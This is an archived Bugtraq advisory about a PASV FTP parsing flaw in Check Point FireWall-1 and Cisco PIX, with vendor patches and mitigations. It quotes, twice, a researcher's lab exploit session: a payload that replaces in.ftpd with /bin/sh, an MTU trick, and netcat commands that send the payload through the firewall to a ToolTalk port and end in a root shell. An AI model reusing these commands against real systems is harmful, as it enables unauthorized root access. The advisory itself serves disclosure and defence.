Multiple Firewall Vendor FTP Server Vulnerability
BID:979
Info
Multiple Firewall Vendor FTP Server Vulnerability
| Bugtraq ID: | 979 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 09 2000 12:00AM |
| Updated: | Feb 09 2000 12:00AM |
| Credit: | This vulnerability was posted to the Bugtraq mailing list on February 9, 2000 by John McDonald <[email protected]>. It contained a set of work developed by both McDonald and Thomas Lopatic <[email protected]> |
| Vulnerable: |
Cisco PIX Firewall 5.0 Cisco PIX Firewall 4.4 (4) Cisco PIX Firewall 4.3 Cisco PIX Firewall 4.2.2 Cisco PIX Firewall 4.2.1 Cisco PIX Firewall 4.1.6 b Cisco PIX Firewall 4.1.6 Check Point Software Firewall-1 4.0 Check Point Software Firewall-1 3.0 |
| Not Vulnerable: |
Cisco PIX Firewall 5.1 |
Discussion
Multiple Firewall Vendor FTP Server Vulnerability
A vulnerability exists in the way that Checkpoint FireWall-1 handles packets sent from an FTP server to a connecting client. An attacker may be able to exploit this weakness to establish connections to any machine residing behind a FireWall-1 machine, or send packets in to a network protected by a FireWall-1.
FireWall-1 monitors packets from the FTP server to the client, looking for the string "227 " at the beginning of each packet. If FW-1 finds a packet which matches this criteria, it will extract the destination address and port, verify that the specified destination address matches the source of the packet, and allow TCP connections through the firewall to the destination IP and port.
In FireWall-1 4.0, these TCP connections can only send data in one direction. Under FireWall-1 3.0 and prior, this limitation does not exist. In addition, under FW-1 4.0 the data cannot be travelling to a port that is defined in FW-1's list of well known TCP services.
The details of the vulnerability posted by John McDonald <[email protected]> contained the following example:
"Here is an example of an attack based on this technique. There is
a FireWall-1 machine between gumpe and the 172.16.0.2 server, which
only permits incoming FTP connections. 172.16.0.2 is a default
Solaris 2.6 install, with the Tooltalk Database vulnerability.
We send the datagram directly to the service's TCP port, in spite of
this port being blocked by the firewall. Note that since there is no
response expected, the one-way restriction doesn't affect this
attack.
All of our testing was done on a Nokia IPSO machine running FW-1
version 4.0.SP-4.
[root@gumpe /root]# strings hackfile
localhost
""""3333DDDD/bin/ksh.-c.cp /usr/sbin/in.ftpd /tmp/in.ftpd.back ; rm -f
/usr/sbin/in.ftpd ; cp /bin/sh /usr/sbin/in.ftpd
[root@gumpe /root]# /sbin/ifconfig eth0 mtu 100
[root@gumpe /root]# nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
220 sol FTP server (SunOS 5.6) ready.
...........................................227 (172,16,0,2,128,7)
500 '...........................................
[1]+ Stopped nc -vvv 172.16.0.2 21
[root@gumpe /root]# cat killfile | nc -vv 172.16.0.2 32775
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 32775 (?) open
sent 80, rcvd 0
[root@gumpe /root]# nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
220 sol FTP server (SunOS 5.6) ready.
...........................................227 (172,16,0,2,128,7)
500 '...........................................
[2]+ Stopped nc -vvv 172.16.0.2 21
[root@gumpe /root]# cat hackfile | nc -vv 172.16.0.2 32775
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 32775 (?) open
sent 1168, rcvd 0
[root@gumpe /root]# nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
id
uid=0(root) gid=0(root)
There is an easier way to perform a similar attack on this setup, since
the default Solaris FTP daemon allows a bounce attack, but this should
suffice to demonstrate the potential severity of this problem."
In summary, if a network has an FTP server accesible behind a FireWall-1 firewall, that they allow the outside world access to, it may be possible for an attacker to open TCP connections to certain ports on that FTP machine.
This vulnerability is not specific to Firewall-1. It has been demonstrated that the PIX firewall, from Cisco, is also vulnerable.
A vulnerability exists in the way that Checkpoint FireWall-1 handles packets sent from an FTP server to a connecting client. An attacker may be able to exploit this weakness to establish connections to any machine residing behind a FireWall-1 machine, or send packets in to a network protected by a FireWall-1.
FireWall-1 monitors packets from the FTP server to the client, looking for the string "227 " at the beginning of each packet. If FW-1 finds a packet which matches this criteria, it will extract the destination address and port, verify that the specified destination address matches the source of the packet, and allow TCP connections through the firewall to the destination IP and port.
In FireWall-1 4.0, these TCP connections can only send data in one direction. Under FireWall-1 3.0 and prior, this limitation does not exist. In addition, under FW-1 4.0 the data cannot be travelling to a port that is defined in FW-1's list of well known TCP services.
The details of the vulnerability posted by John McDonald <[email protected]> contained the following example:
"Here is an example of an attack based on this technique. There is
a FireWall-1 machine between gumpe and the 172.16.0.2 server, which
only permits incoming FTP connections. 172.16.0.2 is a default
Solaris 2.6 install, with the Tooltalk Database vulnerability.
We send the datagram directly to the service's TCP port, in spite of
this port being blocked by the firewall. Note that since there is no
response expected, the one-way restriction doesn't affect this
attack.
All of our testing was done on a Nokia IPSO machine running FW-1
version 4.0.SP-4.
[root@gumpe /root]# strings hackfile
localhost
""""3333DDDD/bin/ksh.-c.cp /usr/sbin/in.ftpd /tmp/in.ftpd.back ; rm -f
/usr/sbin/in.ftpd ; cp /bin/sh /usr/sbin/in.ftpd
[root@gumpe /root]# /sbin/ifconfig eth0 mtu 100
[root@gumpe /root]# nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
220 sol FTP server (SunOS 5.6) ready.
...........................................227 (172,16,0,2,128,7)
500 '...........................................
[1]+ Stopped nc -vvv 172.16.0.2 21
[root@gumpe /root]# cat killfile | nc -vv 172.16.0.2 32775
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 32775 (?) open
sent 80, rcvd 0
[root@gumpe /root]# nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
220 sol FTP server (SunOS 5.6) ready.
...........................................227 (172,16,0,2,128,7)
500 '...........................................
[2]+ Stopped nc -vvv 172.16.0.2 21
[root@gumpe /root]# cat hackfile | nc -vv 172.16.0.2 32775
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 32775 (?) open
sent 1168, rcvd 0
[root@gumpe /root]# nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
id
uid=0(root) gid=0(root)
There is an easier way to perform a similar attack on this setup, since
the default Solaris FTP daemon allows a bounce attack, but this should
suffice to demonstrate the potential severity of this problem."
In summary, if a network has an FTP server accesible behind a FireWall-1 firewall, that they allow the outside world access to, it may be possible for an attacker to open TCP connections to certain ports on that FTP machine.
This vulnerability is not specific to Firewall-1. It has been demonstrated that the PIX firewall, from Cisco, is also vulnerable.
Solution / Fix
Multiple Firewall Vendor FTP Server Vulnerability
Solution:
A suitable solution may be to remove handling of PASV ftp. This can be accomplished via the FireWall-1 GUI. In addition, on a properly secured machine with no services other than FTP running, this attack has little impact.
Users running FW-1 3.0 should upgrade immediately.
Checkpoint issued the following statement, available at: http://www.checkpoint.com/techsupport/alerts/pasvftp.html
"It has been brought to Check Point's attention that a possible vulnerability exists in the control of PASV (passive) FTP connections through FireWall-1. This was developed in a lab environment and requires a specific set of conditions to have existed, in order to suceed. Check Point has no knowledge of its being used against production environments.
Summary of vulnerability:
FireWall-1's parsing of the FTP control connection was manipulated via MTU such that a FTP server PASV port number, as processed by FireWall-1, was associated with the port number of a service with a known security issue (in this case, ToolTalk port vulnerability on a un-patched Solaris 2.6 system). This enabled the client to exploit the server's vulnerability (i.e., an in.ftpd that returned client-controlled data in an error message and running a possibly unnecessary service: ToolTalk) to gain root access on the machine. This vulnerability was reported to BugTrag on Wednesday, February 9th by John MacDonald of DataProtect.
Minimizing the possible threat:
- Do not enable PASV FTP if not needed.
- Use the FTP Security Server or HTTP security server for PASV FTP connections to internal FTP servers.
- Those running publicly accessible FTP servers should follow good host security practices (e.g., not running additional, possibly unnecessary and vulnerable services, keeping up with OS and/or application patches).
- For those using stateful inspection of passive FTP, the following patch has been supplied.
Patch:
The patch consists of a new $FWDIR/lib/base.def file that includes a fix to the problem (the file is compatible with Firewall-1 4.0 SP-5, other platforms will be released as soon as possible). The fix involves an enforcement on the existence of the newline character at the end of each packet on the FTP control connection, this will close off the described vulnerability. It should be noted that this may cause connectivity problems (i.e., blocked FTP connections) in the following scenarios:
1. If FTP control messages larger than the MTU (e.g., large
PWD) are exchanged.
2. If some FTP clients/servers does not put newline at the end
of the line.
3. When passing FWZ encrypted traffic through an
intermediate Firewall gateway.
The enforcement can be easily disabled by commenting the following line in the base.def file (or by restoring the original base.def file):
#define FTP_ENFORCE_NL"
Checkpoint made further information available:
If a FireWall-1 site does inbound PASV FTP access to one or more servers, the following security control options have been made available, in either Service Pack 6 for FireWall-1 4.0 users or Hot Fix 1 for FireWall-1 4.1 Service Pack 1 users:
o FireWall-1 kernel code change that enforces all "227 PASV" replies are bounded by a ()/n.
o Inspect code fix as previously posted in Check Point's original response
o An enhancement to the FTP Security Server that can disallow administrator defined FTP control commands.
The kernel and Inspect code changes are enabled by default in the Service Pack or Hot Fix. Although highly dependent on the local connectivity requirements and implementation, the following general guidelines for inbound FTP using PASV are recommended by Check Point:
o For those customers allowing FTP writes to their server AND the FTP server in use implements the STAT command (i.e., cannot be turned off), it is recommended that inbound FTP traffic to that server(s) be directed through the FTP Security Server with the Security Server configured to disallow STAT commands (the default).
o For those customers allowing FTP reads only, or running writeable FTP servers where the FTP STAT command is disabled: either the kernel/INSPECT options only or in combination with the FTP security server can be used.
Cisco:
Cisco has made patches available to all customers. The details of these fixes are contained in a Cisco advisory listed under 'Credit'. These fixes are available at http://www.cisco.com
Pix 5.1 is not susceptible to this problem.
Check Point Software Firewall-1 4.0
Solution:
A suitable solution may be to remove handling of PASV ftp. This can be accomplished via the FireWall-1 GUI. In addition, on a properly secured machine with no services other than FTP running, this attack has little impact.
Users running FW-1 3.0 should upgrade immediately.
Checkpoint issued the following statement, available at: http://www.checkpoint.com/techsupport/alerts/pasvftp.html
"It has been brought to Check Point's attention that a possible vulnerability exists in the control of PASV (passive) FTP connections through FireWall-1. This was developed in a lab environment and requires a specific set of conditions to have existed, in order to suceed. Check Point has no knowledge of its being used against production environments.
Summary of vulnerability:
FireWall-1's parsing of the FTP control connection was manipulated via MTU such that a FTP server PASV port number, as processed by FireWall-1, was associated with the port number of a service with a known security issue (in this case, ToolTalk port vulnerability on a un-patched Solaris 2.6 system). This enabled the client to exploit the server's vulnerability (i.e., an in.ftpd that returned client-controlled data in an error message and running a possibly unnecessary service: ToolTalk) to gain root access on the machine. This vulnerability was reported to BugTrag on Wednesday, February 9th by John MacDonald of DataProtect.
Minimizing the possible threat:
- Do not enable PASV FTP if not needed.
- Use the FTP Security Server or HTTP security server for PASV FTP connections to internal FTP servers.
- Those running publicly accessible FTP servers should follow good host security practices (e.g., not running additional, possibly unnecessary and vulnerable services, keeping up with OS and/or application patches).
- For those using stateful inspection of passive FTP, the following patch has been supplied.
Patch:
The patch consists of a new $FWDIR/lib/base.def file that includes a fix to the problem (the file is compatible with Firewall-1 4.0 SP-5, other platforms will be released as soon as possible). The fix involves an enforcement on the existence of the newline character at the end of each packet on the FTP control connection, this will close off the described vulnerability. It should be noted that this may cause connectivity problems (i.e., blocked FTP connections) in the following scenarios:
1. If FTP control messages larger than the MTU (e.g., large
PWD) are exchanged.
2. If some FTP clients/servers does not put newline at the end
of the line.
3. When passing FWZ encrypted traffic through an
intermediate Firewall gateway.
The enforcement can be easily disabled by commenting the following line in the base.def file (or by restoring the original base.def file):
#define FTP_ENFORCE_NL"
Checkpoint made further information available:
If a FireWall-1 site does inbound PASV FTP access to one or more servers, the following security control options have been made available, in either Service Pack 6 for FireWall-1 4.0 users or Hot Fix 1 for FireWall-1 4.1 Service Pack 1 users:
o FireWall-1 kernel code change that enforces all "227 PASV" replies are bounded by a ()/n.
o Inspect code fix as previously posted in Check Point's original response
o An enhancement to the FTP Security Server that can disallow administrator defined FTP control commands.
The kernel and Inspect code changes are enabled by default in the Service Pack or Hot Fix. Although highly dependent on the local connectivity requirements and implementation, the following general guidelines for inbound FTP using PASV are recommended by Check Point:
o For those customers allowing FTP writes to their server AND the FTP server in use implements the STAT command (i.e., cannot be turned off), it is recommended that inbound FTP traffic to that server(s) be directed through the FTP Security Server with the Security Server configured to disallow STAT commands (the default).
o For those customers allowing FTP reads only, or running writeable FTP servers where the FTP STAT command is disabled: either the kernel/INSPECT options only or in combination with the FTP security server can be used.
Cisco:
Cisco has made patches available to all customers. The details of these fixes are contained in a Cisco advisory listed under 'Credit'. These fixes are available at http://www.cisco.com
Pix 5.1 is not susceptible to this problem.
Check Point Software Firewall-1 4.0
-
Check Point Software SP6
http://www.checkpoint.com
References
Multiple Firewall Vendor FTP Server Vulnerability
References:
References:
- Check Point Technical Support (Check Point Software)
- Cisco Product Security Incident Response (Cisco Systems)